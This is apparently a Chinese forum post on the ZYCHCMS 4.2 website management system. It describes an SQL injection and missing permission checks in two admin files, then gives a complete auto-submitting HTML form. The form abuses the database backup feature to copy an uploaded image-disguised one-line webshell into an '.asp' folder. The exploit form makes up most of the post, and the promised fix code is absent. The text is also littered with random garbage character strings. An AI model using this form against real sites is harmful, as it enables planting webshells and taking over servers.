ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

/ p* T1 L5 Q* v8 c. I, a- q% W
影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
①SQL注射漏洞
$ I; A( N+ k- l' b" e 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
$ H' L! B# e) K# G; b0 c 漏洞原因：未过滤
  `3 M# I5 t" \& _- S# i 漏洞代码：
都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
' Q( I( s+ j; p9 E3 T2 v: f
, p1 O4 z$ X8 u2 R4 D) P
②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
+ d* b" k( L' j. a+ { 以下是代码本地提交代码


<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
' l* u' j/ z7 f) e6 h, A* ~* @6 ^8 y <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
6 Q% Y8 T% F* |  h$ Q( k <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
' N$ `7 C% b( B1 g6 g4 u9 t! y </tr>
<tr>
+ F# ?. b3 \# ~- D6 W# P7 F8 B <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
. t1 X# P) L# E! Y! D3 q5 v4 ? <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
! n* `; }# }, l0 c& ?0 }# ?+ v! @! d <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
& x2 w$ A# n. k7 ?! A) @ <div align=”left”>
& |" i$ ^) z% ^# u. c <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
1 n: g8 s( r- b$ d3 p) k( P <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
# |! m& W+ U, a0 E <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
7 G0 \; F- B% s0 y4 Z% n. v' ^8 ^ </div></td>
2 w- Q5 G; [% G/ R$ _* z </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
" e- q+ u7 v# O3 ^* T9 _+ |5 t" K <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
8 b5 C( y) X4 w3 y$ B2 ~ [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
& Y' U& w6 y2 y8 B <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
) U$ s5 A: l2 v1 ^ <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
</div></td>
</tr>
</table></td></tr></form>
3 o: h+ h0 B- Z. x; @8 d4 W4 J </table>
</td>
1 J& o& a( k, \% g% A$ g </tr>
, e! `! y& K3 X+ W& b( t, Z& Q& }: a </table>
<script>
! k4 f9 D0 J1 h- g4 e7 o document.all.add.submit();
</script>

, Q% w% ~! m0 O
1 G: x; K# [, d

' i4 a$ X( \& ~( m2 Y% u




: K8 ]  u, B7 G$ ~7 R, j0 M" W